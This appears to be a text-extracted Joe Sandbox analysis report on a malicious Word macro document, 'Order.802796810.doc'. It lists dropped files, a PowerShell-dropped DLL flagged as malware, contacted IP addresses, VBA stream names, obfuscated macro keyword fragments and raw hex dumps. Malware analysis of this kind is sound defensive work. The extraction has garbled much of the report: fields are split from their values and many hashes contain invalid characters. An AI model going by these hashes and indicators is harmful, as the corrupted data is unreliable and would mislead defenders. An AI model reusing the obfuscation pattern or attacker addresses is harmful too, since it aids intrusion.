Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash

Get hash
Get hash

Get hash

Created / dropped Files

39x Sleep call for process: powershell.exe modified

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious

malicious

malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse

Browse

Browse
Browse

Browse

Context

198.54.117.244
198.54.117.217
162.213.253.37
198.54.117.216
199.193.7.228
199.193.7.228
198.54.122.60
63.250.34.114
198.54.117.210
198.54.117.210
199.193.7.228
198.54.117.215
199.193.7.228

162.255.11
8.194

199.193.7.228
162.0.232.59

162.255.11
9.136

162.0.238.245
198.54.117.216
199.193.7.228

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1A67161-551E-40AF-9919-E039C2A6E74E}.tmp

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit): 0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MD5: 5D4D94EE7E06BBBOAF9584119797B23A

SHAL: DBB111419C704F116EFA8E72471DD83E86E49677

Copyright null 2021
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https://view.joesandbox.com/analysis/254796/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254796/html/none?idtype=webid
https://view.joesandbox.com/analysis/254788/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254788/html/none?idtype=webid
https://view.joesandbox.com/analysis/254782/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254782/html/none?idtype=webid
https://view.joesandbox.com/analysis/254776/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254776/html/none?idtype=webid
https://view.joesandbox.com/analysis/254695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254695/html/none?idtype=webid
https://view.joesandbox.com/analysis/254646/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254646/html/none?idtype=webid
https://view.joesandbox.com/analysis/254618/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254618/html/none?idtype=webid
https://view.joesandbox.com/analysis/254596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254596/html/none?idtype=webid
https://view.joesandbox.com/analysis/254589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254589/html/none?idtype=webid
https://view.joesandbox.com/analysis/254558/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254558/html/none?idtype=webid
https://view.joesandbox.com/analysis/254503/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254503/html/none?idtype=webid
https://view.joesandbox.com/analysis/254460/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254460/html/none?idtype=webid
https://view.joesandbox.com/analysis/254300/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254300/html/none?idtype=webid
https://view.joesandbox.com/analysis/254243/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254243/html/none?idtype=webid
https://view.joesandbox.com/analysis/254241/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254241/html/none?idtype=webid
https://view.joesandbox.com/analysis/254205/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254205/html/none?idtype=webid
https://view.joesandbox.com/analysis/254194/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254194/html/none?idtype=webid
https://view.joesandbox.com/analysis/254179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254179/html/none?idtype=webid
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254167/html/none?idtype=webid
https://view.joesandbox.com/analysis/254150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254150/html/none?idtype=webid

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D1A67161-551E-40AF-9919-E039C2A6E74E}.tmp

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

4826C0OD860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1

95F83AEB4CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

false

high, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\Order.802796810.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020,
atime=Thu Jan 14 09:32:34 2021, length=90624, window=hide

dropped

2078

4.495464059099852

false
24:8F/Sn/XTwz6lknazJe28Dv3qTadM7dD2F/Sn/XTwz6lknazJe28Dv3qTadM7dV:8Fan/XT3lk+JFOQh2Fan/XT3lk+JFOQ/
ODF10D21BD33FA3E2345F41649705062

5F02BOBEBEDCB6B0B5D400AEBE18F08F40630DES
85B4AED5D1B2067E877D074E969129FA5C14602578E08EEID6A7D04C8478B481

ODFE6225D5661C9FC252A55C12C128594E17D3541EFFFF2A57F0983A16B9D679C6CFE8BAG48788CA7380ECSEEC92B02DC5DF866809DFF6A1F6C61E0788BA3C
D

false

low

| EETTTOPRRN Fo.. .. WAL WA {. L= b P.O. 0. #00.../C:\ t.1.....QK.X..Users. .......QK. X ..o, 6....Us.ers..@.s.hell3.2.dll,.-
.2.1.8.1.3....L.1.....Q.y..user.8......QK.X.Q.y*...&=....U Alb.us....z.1....Q.y..Desktop.d......QK.X.Q.y*. .D.essk.to.p.@.s.h.ell3.2..d.ll
.1.7.6.9....p.2..b...R.T .ORDER8~1.DOC..T....... Q.y.Q.y*..8.. .r...8.0.2.7.9.6.8.1.0...d.o.c. . C:\Users\..# .
.\116938\Users.user\Desktop\Order.802796810.doc.*.....\ A\ \.D.e.s.k.t.o.p.\.O.r.d.e.r...8.0.2.7.9.6.8.1.0...d.o.c..... 1SPS.XF.L8C....&.
m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............” ... X.......116938.......... _...3N..W..9F.C.........

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

83

4.324541431671379

false

3:M1sBYHLHYOHLHmMX1sBYHLHv:MSBYHLBHLfBYHLP
076F398C997AEE2D2069FD31BB1E2EF3
A57E16C2C04465C89BFBBD64FA2A2DDB5AF73DC8
E30998E99736605145F47F9CCOE3EE8815E2A076A17B45C095CA57B1BED20B34
E23A5D80538A92E90168F0C265E21EC7BE1289FBAFF1784A32CA0C90310FB5F1F96F2239131202C781AF48942021190934520EF3C27A6CE083E465A2CE024366
false

low

[doc]..Order.802796810.LNK=0..0rder.802796810.LNK=0..[doc]..Order.802796810.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVyzALORwObGUXKbylin:vdsCkWtJLObyvb+
6AF5EAEBE6C935D9A5422D99EEEGBEFO
6FE25A65D5CC0D4F989A1D79DF5CE1D225D790EC
CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719

B2F51A8375748037E709D75C038B48C69EO0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBIC1E2156A092F315EB9C069B654AF39B7FAACD3EFEFF1F8CAE
0

false

high, very likely benign file

LUSET ettt Alb.us....... Peeeeenn M M P/l MNieZsed Mo Xewn
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RJLOBX05F30CVKZ4577U.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.5821267604985123

Encrypted: false

SSDEEP: 96:chQCsMgbqvsqvICwo0z8nhQCsMgbqvsEHyqvJCworuzkKYkHDf8RelUVqlu:cyKooz8yyHnoruzk2f8R4Iu

MD5: C5897F2916F8BD64B69E1CE6E45689B0

SHAL: E7ED8F7A715276229820F5FAFBAC4163AEBEE2B7

SHA-256: 516E5A9ED13D4B77C4CC052ABF74C77706A29DDDE9748BO0DAAIE17D58E857F0

SHA-512: 031BAD39807DCE697A060DCF2603769562B99076728FA3F4BD66FBF385083AFEODBE11EEECOBDF66BFA65291DAF24BD5D7BDIEI82550F8A42684EA230440717
A

Malicious: false

Reputation: low

Preview:

................................... e B 008D XD XO D K PLOL 4000 /Co WL I PROGRASB.D. L {d L K PLROL
gram.D.ata W.i.n.d.o.ws....... (¢
.STARTM~1.j <...P.ro.grams..@.s.he.l

CLWINDOW-1LR.LL ™
...W.i.n.d.o.w.s.
C:\Users\user\Desktop\~$der.802796810.doc
Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE
File Type: data
Category: dropped
Size (bytes): 162
Entropy (8bit):  2.431160061181642
Encrypted: false
SSDEEP: 3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtJLObyvb+l
MD5: 6AFSEAEBE6C935D9A5422D99EEEGBEFO
SHA1L: 6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
SHA-256: CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
SHA-512: B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDBLC1E2156A092F315EBIC069B654AF39B7FAACD3EFEFF1F8CAE
0
Malicious: false
Reputation: high, very likely benign file
Preview:
LUSBI et Alb.us............. | IO M M P MciZei A X
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 303616
Entropy (8bit):  7.173905139494844
Encrypted: false
SSDEEP: 6144:N11xO040SSrnmrwc4oU2FmrEaoGAC+Y5H2V3B9G41lawUX:nIxO02SrnhOgEJC+Y2G4vU
MD5: 91C429408A1274FA64F758FB80B4A4T2
SHA1L: E99043E4FA16B7848046DFBAEDE219EAD1307ED3
SHA-256: A5EC84D475CBD8672DF09FC348DC46569117929A87D33FE3EF12396B6041730D
SHA-512: 12C6E99952A64A381DD8CA86FD8BC4195A452F395EE058C18A35B9C092C5260852D3E224117DB2F853FD53A6E9A272B69AA2872AB089E0195E3431DD13A9E2E!
Malicious: true
Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

* Antivirus: ReversingLabs, Detection: 43%
Reputation: low

Preview:

Static File Info
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General

File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "Order.802796810.doc"

Indicators
Has Summary Info:
Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:
Title:

Subject:
Author:
Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:

Copyright null 2021

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
bandwidth-monitored strategize Investment Account
Well Small full-range Product, Author: Julie Marty, Temp
late: Normal.dotm, Last Saved By: Lo Guyot, Revision
Number: 1, Name of Creating Application: Microsoft
Office Word, Create Time/Date: Wed Jan 13 12:11:00
2021, Last Saved Time/Date: Wed Jan 13 12:12:00
2021, Number of Pages: 1, Number of Words: 3127,
Number of Characters: 17826, Security: 8

5.716420354668234

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

Order.802796810.doc

89451

blc2a32ch28d07acc8b2d65ab2012db8
3ac3123decd86944a576227554edbcbb3d62aas58

6951461h231a0f4f2ee086768d3e5e79b30dd68efd55da8
0997d73c160e6ddce

e459e361501efa4f1c22748a0715c0e78af58690e207e08
e40bbe739e002b3b9e10207987345e907559069f0866ac
a03e4080fe69eb0fa722ef03179dd292430

768:KzCBUdRqgWvluJaSaVB5a38s/yJk2tKerSIViUcdr
XSrkloWdtilJTDEZ7080Q+F:KVtiEZbWX9Nb2LbgfjiNg
Ju

bandwidth-monitored strategize Investment Account Well Small full-range Product

Julie Marty

Normal.dotm

Lo Guyot

1

0

2021-01-13 12:11:00
2021-01-13 12:12:00
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Summary

Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Hcpsclo3w5h, Stream Size: 1107

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Creatable
VB_Name
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: Ty191wz8hynv3fl, Stream Size: 14181

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

Copyright null 2021

1

3127

17826

Microsoft Office Word
8

-535
148
41

False

False
False
False

917504

Macros/VBA/Hcpsclo3wsh
Hcpsclo3wsh
1107

01 16 01 00 00 fO 00 00 00 de 02 00 00 d4 00 00 00 da 01 00 00 ff ff ff ff €5 02 00 00 75 03 00
00 00 00 00 00 01 00 00 00 c8 db 95 ca 00 00 ff ff a3 00 00 00 88 00 00 00 b6 00 ff ff 01 01 00
00 00 00 ff ff ff ff 00 00 00 00 ff ff f ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Macros/VBA/Ty191wz8hynv3fl
Ty191wz8hynva3fl
14181

01 16 01 00 00 fO 00 00 00 44 08 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 4c 08 00 00 2¢ 2a 00
00 00 00 00 00 01 00 00 00 c8 db 79 03 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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VBA Code Keywords

Keyword

ZbPUDheF
Left(QzXjC.Range.ParagraphStyle,
InSKq:

ZOfUMb
1zZRUYEYJE.Range.ParagraphStyle
eRXpg)

TuHaAH

"Al[q[D",

InSKq)

InStr(ZOfUMb.Range.Text,
ebsKiHACO

fdpzD.Range.Text

DdnFBBZ
QzXjC.Range.ListFormat.ListString
Resume

rLOxC:

ZbPUDheF:
YpSuBch.Range.ParagraphStyle
1zZRUYEYJE.Range.ListFormat.ListString
xhBgCNvFG.Range.Text

rLOxC)

"AJ[q[DA][q[D"

KnOOFFBD

SXNFEJJ

mxioLAcLC)

rBPyeAB:

aoLyMFjDk

THW-

UzOxVAC.Range.Text
Left(XIBGeiH.Range.ParagraphStyle,
mxioLAcLC:

Paragraph

rBPyeAB)
Left(EHsfBFdxG.Range.ParagraphStyle,
NVFTkVQ
Left(oPSQA.Range.ParagraphStyle,
UBdrJozv

"Al[q[DpA][q[D"
PUgzDBXG.Range.ListFormat.ListString
XzcvhD

UBdrJozv:

"Heading"

XzevhD:
"WA][q[DinA][q[DmA][q[DgmA][q[DtA][q[DA][q[D"
XIBGeiH.Range.ListFormat.ListString
UBdrJozv)

oPSQA

eRXpg

QzXjC.Range.ParagraphStyle
InStr(fdpzD.Range.Text,
InStr(o0PSQA.Range.Text,
fdpzD.Range.ParagraphStyle

hKRjei

ZOfUMb.Range.Text

ZbPUDheF)

aZsPEACFH

QzXjC.Range.Text
Left(YpSuBch.Range.ParagraphStyle,
TuHaAH.Range.ListFormat.ListString
PuugBv
InStr(EHsfBFdxG.Range.Text,

ffluzC
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Keyword

DdnFBBZ)

OMOKIM:
EHsfBFdxG.Range.ParagraphStyle
dYJvd

DdnFBBZ:

PUQgzDBXG.Range.Text

OMOKIM)
Left(IzZRUYEYJE.Range.ParagraphStyle,
Rlomqg

rBPyeAB
hKRjei.Range.ParagraphStyle
nxnMAC

InStr(TuHaAH.Range.Text,
InStr(PUgzDBXG.Range. Text,

Elself

PUqzDBXG

IzZRUYEYJE.Range.Text
0PSQA.Range.Text
PUqgzDBXG.Range.ParagraphStyle
mxioLAcLC

UfPcWG

zglCAhL.Range.Text
InStr(xhBqCNvFG.Range.Text,
UzOxVAC
0PSQA.Range.ListFormat.ListString
InStr(zqlCAhL.Range.Text,
Left(PUgzDBXG.Range.ParagraphStyle,
hQUbIDUBB)

sweee

InStr(XIBGeiH.Range.Text,
jIHOSEITt.Range.ParagraphStyle
jIHOSEITt
0PSQA.Range.ParagraphStyle
Left(jlJHOSEITt.Range.ParagraphStyle,
aZsPEACFH)

Len(sweee))),

NVFTKVQ)
YpSuBch.Range.ListFormat.ListString
jIHOSEITt.Range.Text

"HW")

aZsPEACFH:

"HW",

rLOxC

XIBGeiH

LSfPODO.Range.Text

SMXeC
Left(zqlCAhL.Range.ParagraphStyle,
VnWdAF

fdpzD

InStr(QzXjC.Range.Text,
hQUbIDUBB:
UzOxVAC.Range.ListFormat.ListString
xhBgCNVFG
InStr(YpSuBch.Range.Text,
LSfPODO

EHsfBFdxG.Range.Text
zglCAhL.Range.ParagraphStyle
Left(xhBqCNvFG.Range.ParagraphStyle,
ZOfUMb.Range.ParagraphStyle
mSaKFJSB:

Error

InStr(LSfPODO.Range. Text,
YpSuBch
EHsfBFdxG.Range.ListFormat.ListString
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Keyword

zqICAhL
Left(fdpzD.Range.ParagraphStyle,
ebskiHACO)

Attribute

ebsKiHACO:
zglCAhL.Range.ListFormat.ListString
LSfPODO.Range.ListFormat.ListString
iBEIDYCi

mSaKFJSB

TuHaAH.Range.Text
Left(hKRjei.Range.ParagraphStyle,
TuHaAH.Range.ParagraphStyle
kBgvEBGC

uhsdfv

VB_Name

eRXpg:
Left(TuHaAH.Range.ParagraphStyle,
NVFTKVQ:

EHsfBFdXG

XzcvhD)

AhJgl

hQUbIDUBB

mSaKFJSB)

Function
jIHOSEITt.Range.ListFormat.ListString
InStr(jIHoSEITt.Range.Text,
InStr(hKRjei.Range.Text,
Left(LSfPODO.Range.ParagraphStyle,
QzXjC
hKRjei.Range.ListFormat.ListString
IZRUYEYJE
fdpzD.Range.ListFormat.ListString
InSKq

VaryV

Replace(mysString,
XIBGeiH.Range.Text
hKRjei.Range.Text

CPMStk
xhBgCNvFG.Range.ParagraphStyle
LSfPODO.Range.ParagraphStyle
Left(UzOxVAC.Range.ParagraphStyle,
InStr(UzOxVAC.Range.Text,
"Al[q[DroA][q[DA][q[DceA][q[DsA][q[DsA][q[DA][q[D"
Len("Heading"))
Left(ZOfUMb.Range.ParagraphStyle,
YpSuBch.Range.Text
xhBgCNvFG.Range.ListFormat.ListString
UzOxVAC.Range.ParagraphStyle
AhJql:

Mid(Application.Name,
ZOfUMb.Range.ListFormat.ListString
fepnAEWJ
InStr(IzZRUYEYJE.Range.Text,
OMOKIM

AhJql)
XIBGeiH.Range.ParagraphStyle

VBA Code

VBA File Name: X3l1wupOifeb, Stream Size: 699

General
Stream Path: Macros/VBA/X3I1wupOifeb

Copyright null 2021 Page 20 of 38



General
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

X3l1wupOifeb
699

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 c8 db 96 a0 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

\x1CompObj
data

146
4.00187355764
False

........................... F........MSWordDoc.....Word.Document
.<.5.=.B. .M.i.c.r.o.s.o.f.t. .W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff ff ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 38 00 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x5Summarylnformation, File Type: data, Stream Size: 496

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.279768695397

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 f4 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

496

3.97708413058

False
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General

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6673

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 20897

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 c0 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 68 01 00 00 04 00 00 00 54 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00
00 00 d0 00 00 00

1Table

data

6673
6.06833302007

True

.6...6...6...6...6...6...6...6...6...6...

66 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 00 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

20897
7.74612259243

True

al 51 00 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 56 6d
bc 34 4e 01 4e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 506

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 125

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
506

5.52432570926

True

ID="{9CAF4F02-7454-4855-9BED-49365CB2AF20}"..Docume
nt=Hcpsclo3w5h/&H00000000..Module=X3l1lwupOifeb..Modul
e=Tyl91wz8hynv3fl..ExeName32="Hoejy55gzaw30Illg"..Nam
e="mw"..HelpContextID="0"..VersionCompatible32="393222
000"..CMG="7B799FB18FB58FB58FB58FB5"..DPB="676

49 44 3d 22 7b 39 43 41 46 34 46 30 32 2d 37 34 35 34 2d 34 38 35 35 2d 39 42 45 44 2d 34
39 3336 354342 324146 3230 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 48 63 70 73 63 6¢
6f 33 77 35 68 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 58 33 6¢ 31 77 75
70 30 69 66 65 62 0d Oa 4d 6f 64 75 6¢ 65 3d 54 79 31 39 31 77 7a 38 68 79 6e 76 33 66 6¢
0d 0a 45 78 65 4e 61

Macros/PROJECTwm
data

125

3.69250522563

False

Hcpsclo3w5h.H.c.p.s.c.l.0.3.w.5.h...X3l1lwupOifeb.X.3.1.1.w
.u.p.0.i.f.e.b... Ty191wz8hynv3fl.T.y.1.9.1.w.z.8.h.y.n.v.3.f
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General

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 3955

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBAIdir, File Type: data, Stream Size: 658

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 24217

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Network Port Distribution

Copyright null 2021

4863 70 73 63 6¢ 6f 33 77 35 68 00 48 00 63 00 70 00 73 00 63 00 6¢ 00 6f 00 33 00 77 00
3500 68 00 00 00 58 33 6¢ 31 77 75 70 30 69 66 65 62 00 58 00 33 00 6¢ 00 31 00 77 00 75
00 70 00 30 00 69 00 66 00 65 00 62 00 00 00 54 79 31 39 31 77 7a 38 68 79 6e 76 33 66 6¢
0054 00 79 00 31 00 39 00 31 00 77 00 7a 00 38 00 68 00 79 00 6e 00 76 00 33 00 66 00 6¢
00 00 00 00 00

Macros/VBA/_VBA_PROJECT
data

3955

5.13659906094

False

A *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
05 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Macros/VBA/dir
data

658
6.38459690922

True

............ o*.....p..H.."..d.....m..2.4.@.....Z=....b............a
%.J<..... rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°0430-.

L.Cll 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl.b#

OLE Au.tomation.. ....Norma.l.EN.Cr.m..a.F.. ...... *WC.......

.a...1Offi

01 8e b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d a2 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
09 01 02 12 bf c1 ee 61 06 00 Oc 25 02 4a 3c 02 Oa 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02 32
